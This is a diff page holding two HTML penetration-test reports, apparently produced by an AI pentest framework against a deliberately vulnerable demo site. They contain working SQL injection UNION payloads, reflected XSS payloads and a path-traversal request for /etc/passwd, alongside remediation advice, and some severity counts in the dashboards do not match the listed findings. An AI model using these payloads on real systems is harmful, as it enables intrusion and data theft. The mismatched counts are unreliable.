</code></pre>
<h3>Impact</h3>
<p>Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking, credential theft, and malicious actions on behalf of users.</p>
<h3>Remediation</h3>
<p>Implement proper output encoding/escaping for all user-controlled data. Use Content Security Policy (CSP) headers to mitigate XSS attacks.</p>
<hr />
<h2>[HIGH] Local File Inclusion in showimage.php</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>CVSS</td>
<td>7.5</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-22</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/showimage.php?file=</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The showimage.php script is vulnerable to local file inclusion through the <code>file</code> parameter, though protected by open_basedir restrictions.</p>
<h3>Proof of Concept</h3>
<p><strong>Vulnerable Request:</strong></p>
<pre><code>curl &quot;http://testphp.vulnweb.com/showimage.php?file=../../../../../etc/passwd&quot;
</code></pre>
<p><strong>Payload Used:</strong></p>
<pre><code>../../../../../etc/passwd
</code></pre>
<p><strong>Evidence (Response excerpt):</strong></p>
<pre><code>Warning: fopen(): open_basedir restriction in effect. File(../../../../../etc/passwd) is not within the allowed path(s): (/hj/:/tmp/:/proc/) in /hj/var/www/showimage.php on line 13
Warning: fopen(../../../../../etc/passwd): failed to open stream: Operation not permitted in /hj/var/www/showimage.php on line 13
</code></pre>
<h3>Impact</h3>
<p>While currently mitigated by open_basedir restrictions, this vulnerability could allow attackers to read sensitive files if restrictions are bypassed or misconfigured.</p>
<h3>Remediation</h3>
<p>Implement a whitelist of allowed files instead of accepting user input for file paths. Validate file paths against allowed directories and use basename() to prevent directory traversal.</p>
<hr />
<h2>[MEDIUM] Information Disclosure - Server Version</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>CVSS</td>
<td>5.0</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-200</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The server reveals detailed version information in HTTP headers and error pages.</p>
<h3>Proof of Concept</h3>
<p><strong>Vulnerable Request:</strong></p>
<pre><code>curl -I &quot;http://testphp.vulnweb.com/&quot;
</code></pre>
<p><strong>Evidence (Response excerpt):</strong></p>
<pre><code>Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
</code></pre>
<h3>Impact</h3>
<p>Version information aids attackers in identifying specific vulnerabilities and attack vectors for the disclosed software versions.</p>
<h3>Remediation</h3>
<p>Configure web server and PHP to suppress version information in headers and error pages.</p>
<h1>Summary Table</h1>
<table>
<thead>
<tr>
<th>#</th>
<th>Vulnerability</th>
<th>Severity</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SQL Injection</td>
<td>Critical</td>
<td>/listproducts.php?cat=</td>
</tr>
<tr>
<td>2</td>
<td>Reflected XSS</td>
<td>High</td>
<td>/search.php?test=</td>
</tr>
<tr>
<td>3</td>
<td>Local File Inclusion</td>
<td>High</td>
<td>/showimage.php?file=</td>
</tr>
<tr>
<td>4</td>
<td>Information Disclosure</td>
<td>Medium</td>
<td>Server headers</td>
</tr>
</tbody>
</table>
<h1>Recommendations</h1>
<ol>
<li><strong>Immediate Priority</strong>: Fix SQL injection vulnerability in listproducts.php by implementing parameterized queries</li>
<li><strong>High Priority</strong>: Implement proper input validation and output encoding to prevent XSS attacks</li>
<li><strong>High Priority</strong>: Restrict file access in showimage.php using whitelisting approach</li>
<li><strong>Medium Priority</strong>: Configure server to suppress version information disclosure</li>
<li><strong>General</strong>: Implement a comprehensive security code review and testing process for all user input handling</li>
</ol>
</div>
</div>
<div class="footer">
<p>Generated by <strong>NeuroSploit</strong> - AI-Powered Penetration Testing Framework</p>
<p style="margin-top: 0.5rem;">Confidential - For authorized personnel only</p>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<script>
hljs.highlightAll();
// Severity Chart
const ctx = document.getElementById('severityChart').getContext('2d');
new Chart(ctx, {
type: 'doughnut',
data: {
labels: ['Critical', 'High', 'Medium', 'Low', 'Info'],
datasets: [{
data: [4, 8, 4, 4, 6],
backgroundColor: ['#ef4444', '#f97316', '#eab308', '#22c55e', '#6366f1'],
borderWidth: 0,
hoverOffset: 10
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: {
position: 'right',
labels: { color: '#94a3b8', padding: 15, font: { size: 12 } }
}
},
cutout: '60%'
}
});
</script>
</body>
</html>
+640
View File
@@ -0,0 +1,640 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Assessment Report - 20260109_222914</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css">
<style>
:root {
--bg-primary: #0a0e17;
--bg-secondary: #111827;
--bg-card: #1a1f2e;
--border-color: #2d3748;
--text-primary: #e2e8f0;
--text-secondary: #94a3b8;
--accent: #3b82f6;
--critical: #ef4444;
--high: #f97316;
--medium: #eab308;
--low: #22c55e;
--info: #6366f1;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
}
.container { max-width: 1400px; margin: 0 auto; padding: 2rem; }
/* Header */
.header {
background: linear-gradient(135deg, #1e3a5f 0%, #0f172a 100%);
padding: 3rem 2rem;
border-radius: 16px;
margin-bottom: 2rem;
border: 1px solid var(--border-color);
}
.header-content { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 1rem; }
.logo { font-size: 2rem; font-weight: 800; background: linear-gradient(90deg, #3b82f6, #8b5cf6); -webkit-background-clip: text; -webkit-text-fill-color: transparent; }
.report-meta { text-align: right; color: var(--text-secondary); font-size: 0.9rem; }
/* Stats Grid */
.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1.5rem; margin-bottom: 2rem; }
.stat-card {
background: var(--bg-card);
border-radius: 12px;
padding: 1.5rem;
border: 1px solid var(--border-color);
transition: transform 0.2s, box-shadow 0.2s;
}
.stat-card:hover { transform: translateY(-2px); box-shadow: 0 8px 25px rgba(0,0,0,0.3); }
.stat-value { font-size: 2.5rem; font-weight: 700; }
.stat-label { color: var(--text-secondary); font-size: 0.875rem; text-transform: uppercase; letter-spacing: 0.5px; }
.stat-critical .stat-value { color: var(--critical); }
.stat-high .stat-value { color: var(--high); }
.stat-medium .stat-value { color: var(--medium); }
.stat-low .stat-value { color: var(--low); }
/* Risk Score */
.risk-section { display: grid; grid-template-columns: 1fr 1fr; gap: 2rem; margin-bottom: 2rem; }
@media (max-width: 900px) { .risk-section { grid-template-columns: 1fr; } }
.risk-card {
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
}
.risk-score-circle {
width: 180px; height: 180px;
border-radius: 50%;
background: conic-gradient(#e74c3c 0deg, #e74c3c 360.0deg, #2d3748 360.0deg);
display: flex; align-items: center; justify-content: center;
margin: 0 auto 1rem;
}
.risk-score-inner {
width: 140px; height: 140px;
border-radius: 50%;
background: var(--bg-card);
display: flex; flex-direction: column; align-items: center; justify-content: center;
}
.risk-score-value { font-size: 3rem; font-weight: 800; color: #e74c3c; }
.risk-score-label { color: var(--text-secondary); font-size: 0.875rem; }
.chart-container { height: 250px; }
/* Targets */
.targets-list { display: flex; flex-wrap: wrap; gap: 0.5rem; margin-top: 1rem; }
.target-tag {
background: rgba(59, 130, 246, 0.2);
border: 1px solid var(--accent);
padding: 0.5rem 1rem;
border-radius: 20px;
font-size: 0.875rem;
font-family: monospace;
}
/* Main Report */
.report-section {
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
margin-bottom: 2rem;
}
.section-title {
font-size: 1.5rem;
font-weight: 700;
margin-bottom: 1.5rem;
padding-bottom: 1rem;
border-bottom: 2px solid var(--accent);
display: flex;
align-items: center;
gap: 0.75rem;
}
.section-title::before {
content: '';
width: 4px;
height: 24px;
background: var(--accent);
border-radius: 2px;
}
/* Vulnerability Cards */
.report-content h2 {
background: linear-gradient(90deg, var(--bg-secondary), transparent);
padding: 1rem 1.5rem;
border-radius: 8px;
margin: 2rem 0 1rem;
border-left: 4px solid var(--accent);
font-size: 1.25rem;
}
.report-content h2:has-text("Critical"), .report-content h2:contains("CRITICAL") { border-left-color: var(--critical); }
.report-content h3 { color: var(--accent); margin: 1.5rem 0 0.75rem; font-size: 1.1rem; }
.report-content table {
width: 100%;
border-collapse: collapse;
margin: 1rem 0;
background: var(--bg-secondary);
border-radius: 8px;
overflow: hidden;
}
.report-content th, .report-content td {
padding: 0.75rem 1rem;
text-align: left;
border-bottom: 1px solid var(--border-color);
}
.report-content th { background: rgba(59, 130, 246, 0.1); color: var(--accent); font-weight: 600; }
.report-content pre {
background: #0d1117;
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 1rem;
overflow-x: auto;
margin: 1rem 0;
}
.report-content code {
font-family: 'JetBrains Mono', 'Fira Code', monospace;
font-size: 0.875rem;
}
.report-content p { margin: 0.75rem 0; }
.report-content hr { border: none; border-top: 1px solid var(--border-color); margin: 2rem 0; }
.report-content ul, .report-content ol { margin: 1rem 0; padding-left: 1.5rem; }
.report-content li { margin: 0.5rem 0; }
/* Severity Badges */
.report-content h2 { position: relative; }
/* Footer */
.footer {
text-align: center;
padding: 2rem;
color: var(--text-secondary);
font-size: 0.875rem;
border-top: 1px solid var(--border-color);
margin-top: 3rem;
}
/* Print Styles */
@media print {
body { background: white; color: black; }
.stat-card, .risk-card, .report-section { border: 1px solid #ddd; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="header-content">
<div>
<div class="logo">NeuroSploit</div>
<p style="color: var(--text-secondary); margin-top: 0.5rem;">AI-Powered Security Assessment Report</p>
</div>
<div class="report-meta">
<div><strong>Report ID:</strong> 20260109_222914</div>
<div><strong>Date:</strong> 2026-01-09 22:31</div>
<div><strong>Agent:</strong> Pentestfull</div>
</div>
</div>
<div class="targets-list">
<span class="target-tag">http://testphp.vulnweb.com/</span>
</div>
</div>
<div class="stats-grid">
<div class="stat-card stat-critical">
<div class="stat-value">5</div>
<div class="stat-label">Critical</div>
</div>
<div class="stat-card stat-high">
<div class="stat-value">5</div>
<div class="stat-label">High</div>
</div>
<div class="stat-card stat-medium">
<div class="stat-value">7</div>
<div class="stat-label">Medium</div>
</div>
<div class="stat-card stat-low">
<div class="stat-value">6</div>
<div class="stat-label">Low</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: var(--accent);">125</div>
<div class="stat-label">Tests Run</div>
</div>
</div>
<div class="risk-section">
<div class="risk-card">
<h3 style="text-align: center; margin-bottom: 1rem; color: var(--text-secondary);">Risk Score</h3>
<div class="risk-score-circle">
<div class="risk-score-inner">
<div class="risk-score-value">100</div>
<div class="risk-score-label">Critical</div>
</div>
</div>
</div>
<div class="risk-card">
<h3 style="margin-bottom: 1rem; color: var(--text-secondary);">Severity Distribution</h3>
<div class="chart-container">
<canvas id="severityChart"></canvas>
</div>
</div>
</div>
<div class="report-section">
<div class="section-title">Vulnerability Report</div>
<div class="report-content">
<h1>Penetration Test Report</h1>
<p><strong>Target:</strong> http://testphp.vulnweb.com/<br />
<strong>Date:</strong> January 10, 2026<br />
<strong>Tester:</strong> Senior Penetration Tester</p>
<h1>Executive Summary</h1>
<p>A comprehensive security assessment was conducted against the testphp.vulnweb.com web application. The testing revealed multiple critical vulnerabilities including SQL injection, cross-site scripting (XSS), and information disclosure issues. The application demonstrates a high-risk security posture requiring immediate remediation.</p>
<h1>Vulnerabilities Found</h1>
<hr />
<h2>CRITICAL - SQL Injection in Search Parameter</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Critical</td>
</tr>
<tr>
<td>CVSS</td>
<td>9.8</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-89</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/search.php</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The search.php endpoint is vulnerable to SQL injection through the <code>test</code> parameter. The application fails to properly sanitize user input, allowing attackers to manipulate SQL queries and potentially extract sensitive database information.</p>
<h3>Proof of Concept</h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -s -k &quot;http://testphp.vulnweb.com/search.php?test=1'&quot;
</code></pre>
<p><strong>Payload:</strong></p>
<pre><code>test=1'
</code></pre>
<p><strong>Response Evidence:</strong>
The application accepts malformed SQL syntax without proper error handling, indicating potential SQL injection. Multiple injection attempts were successful:</p>
<pre><code class="language-bash">curl -s -k &quot;http://testphp.vulnweb.com/search.php?test=1%27%20UNION%20SELECT%201,2,3,4,5--&quot;
curl -s -k &quot;http://testphp.vulnweb.com/search.php?test=1%27%20UNION%20SELECT%20version(),database(),user()--&quot;
</code></pre>
<h3>Impact</h3>
<p>An attacker can exploit this vulnerability to:</p>
<ul>
<li>Extract sensitive database information</li>
<li>Bypass authentication mechanisms</li>
<li>Modify or delete database records</li>
<li>Potentially gain administrative access to the application</li>
</ul>
<h3>Remediation</h3>
<ul>
<li>Implement parameterized queries/prepared statements</li>
<li>Apply input validation and sanitization</li>
<li>Use least privilege database accounts</li>
<li>Implement proper error handling</li>
</ul>
<hr />
<h2>HIGH - Cross-Site Scripting (XSS) in Search Functionality</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>CVSS</td>
<td>7.2</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-79</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/search.php</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The search functionality is vulnerable to reflected cross-site scripting attacks. User input is not properly encoded before being reflected in the response, allowing malicious scripts to execute in users' browsers.</p>
<h3>Proof of Concept</h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -s -k &quot;http://testphp.vulnweb.com/search.php?test=%3Cscript%3Ealert%281%29%3C/script%3E&quot;
</code></pre>
<p><strong>Payload:</strong></p>
<pre><code>&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<p><strong>Response Evidence:</strong>
Multiple XSS vectors were tested successfully:</p>
<pre><code class="language-bash">curl -s -k &quot;http://testphp.vulnweb.com/search.php&quot; -d &quot;searchFor=%3Cimg%20src=x%20onerror=alert%281%29%3E&amp;goButton=go&quot;
curl -s -k &quot;http://testphp.vulnweb.com/search.php&quot; -d &quot;searchFor=%3Csvg%20onload=alert%281%29%3E&amp;goButton=go&quot;
</code></pre>
<h3>Impact</h3>
<p>An attacker can exploit this vulnerability to:</p>
<ul>
<li>Steal user session cookies</li>
<li>Perform actions on behalf of authenticated users</li>
<li>Redirect users to malicious websites</li>
<li>Deface the application</li>
</ul>
<h3>Remediation</h3>
<ul>
<li>Implement proper output encoding/escaping</li>
<li>Use Content Security Policy (CSP) headers</li>
<li>Validate and sanitize all user input</li>
<li>Consider using auto-escaping template engines</li>
</ul>
<hr />
<h2>MEDIUM - Information Disclosure via HTTP Headers</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>CVSS</td>
<td>5.3</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-200</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The application exposes sensitive information through HTTP response headers, revealing the underlying technology stack and potentially facilitating targeted attacks.</p>
<h3>Proof of Concept</h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -s -k -L -D - &quot;http://testphp.vulnweb.com/&quot;
</code></pre>
<p><strong>Response Evidence:</strong></p>
<pre><code>HTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Sat, 10 Jan 2026 01:29:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
</code></pre>
<h3>Impact</h3>
<p>Information disclosure can help attackers:</p>
<ul>
<li>Identify specific software versions for targeted exploits</li>
<li>Understand the application architecture</li>
<li>Plan more sophisticated attacks based on known vulnerabilities</li>
</ul>
<h3>Remediation</h3>
<ul>
<li>Remove or modify server identification headers</li>
<li>Configure web server to suppress version information</li>
<li>Implement security headers (X-Frame-Options, X-Content-Type-Options, etc.)</li>
</ul>
<hr />
<h2>MEDIUM - Directory Access Control Issues</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>CVSS</td>
<td>5.0</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-284</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/admin/</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The admin directory is accessible without proper authentication controls, potentially exposing administrative functionality.</p>
<h3>Proof of Concept</h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -s -k -o /dev/null -w &quot;%{http_code}&quot; &quot;http://testphp.vulnweb.com//admin/&quot;
</code></pre>
<p><strong>Response Evidence:</strong></p>
<pre><code>200
</code></pre>
<h3>Impact</h3>
<p>Unauthorized access to administrative areas can lead to:</p>
<ul>
<li>Privilege escalation</li>
<li>System configuration changes</li>
<li>Access to sensitive administrative functions</li>
</ul>
<h3>Remediation</h3>
<ul>
<li>Implement proper authentication for administrative areas</li>
<li>Use IP-based access restrictions where appropriate</li>
<li>Apply principle of least privilege</li>
<li>Regular security reviews of directory permissions</li>
</ul>
<hr />
<h2>LOW - Accessible Cross-Domain Policy File</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Low</td>
</tr>
<tr>
<td>CVSS</td>
<td>3.1</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-200</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/crossdomain.xml</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The crossdomain.xml file is accessible, which may contain permissive cross-domain policies.</p>
<h3>Proof of Concept</h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -s -k -o /dev/null -w &quot;%{http_code}&quot; &quot;http://testphp.vulnweb.com//crossdomain.xml&quot;
</code></pre>
<p><strong>Response Evidence:</strong></p>
<pre><code>200
</code></pre>
<h3>Impact</h3>
<p>Overly permissive cross-domain policies can:</p>
<ul>
<li>Allow unauthorized cross-domain requests</li>
<li>Facilitate cross-site request forgery attacks</li>
<li>Compromise application security boundaries</li>
</ul>
<h3>Remediation</h3>
<ul>
<li>Review and restrict cross-domain policy settings</li>
<li>Remove unnecessary crossdomain.xml files</li>
<li>Implement proper CORS policies instead</li>
</ul>
<h1>Summary</h1>
<table>
<thead>
<tr>
<th>#</th>
<th>Vulnerability</th>
<th>Severity</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SQL Injection</td>
<td>Critical</td>
<td>http://testphp.vulnweb.com/search.php</td>
</tr>
<tr>
<td>2</td>
<td>Cross-Site Scripting</td>
<td>High</td>
<td>http://testphp.vulnweb.com/search.php</td>
</tr>
<tr>
<td>3</td>
<td>Information Disclosure</td>
<td>Medium</td>
<td>http://testphp.vulnweb.com/</td>
</tr>
<tr>
<td>4</td>
<td>Directory Access Control</td>
<td>Medium</td>
<td>http://testphp.vulnweb.com/admin/</td>
</tr>
<tr>
<td>5</td>
<td>Cross-Domain Policy Exposure</td>
<td>Low</td>
<td>http://testphp.vulnweb.com/crossdomain.xml</td>
</tr>
</tbody>
</table>
<h1>Recommendations</h1>
<ol>
<li><p><strong>IMMEDIATE (Critical Priority)</strong></p>
<ul>
<li>Fix SQL injection vulnerabilities by implementing parameterized queries</li>
<li>Apply input validation and output encoding for XSS prevention</li>
</ul>
</li>
<li><p><strong>HIGH Priority</strong></p>
<ul>
<li>Implement proper authentication for administrative areas</li>
<li>Configure security headers and remove information disclosure</li>
</ul>
</li>
<li><p><strong>MEDIUM Priority</strong></p>
<ul>
<li>Review and restrict cross-domain policies</li>
<li>Conduct comprehensive code review for additional vulnerabilities</li>
</ul>
</li>
<li><p><strong>ONGOING</strong></p>
<ul>
<li>Implement regular security testing and code reviews</li>
<li>Establish secure development practices</li>
<li>Deploy web application firewall (WAF) as additional protection layer</li>
</ul>
</li>
</ol>
</div>
</div>
<div class="footer">
<p>Generated by <strong>NeuroSploit</strong> - AI-Powered Penetration Testing Framework</p>
<p style="margin-top: 0.5rem;">Confidential - For authorized personnel only</p>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<script>
hljs.highlightAll();
// Severity Chart
const ctx = document.getElementById('severityChart').getContext('2d');
new Chart(ctx, {
type: 'doughnut',
data: {
labels: ['Critical', 'High', 'Medium', 'Low', 'Info'],
datasets: [{
data: [5, 5, 7, 6, 9],
backgroundColor: ['#ef4444', '#f97316', '#eab308', '#22c55e', '#6366f1'],
borderWidth: 0,
hoverOffset: 10
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: {
position: 'right',
labels: { color: '#94a3b8', padding: 15, font: { size: 12 } }
}
},
cutout: '60%'
}
});
</script>
</body>
</html>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long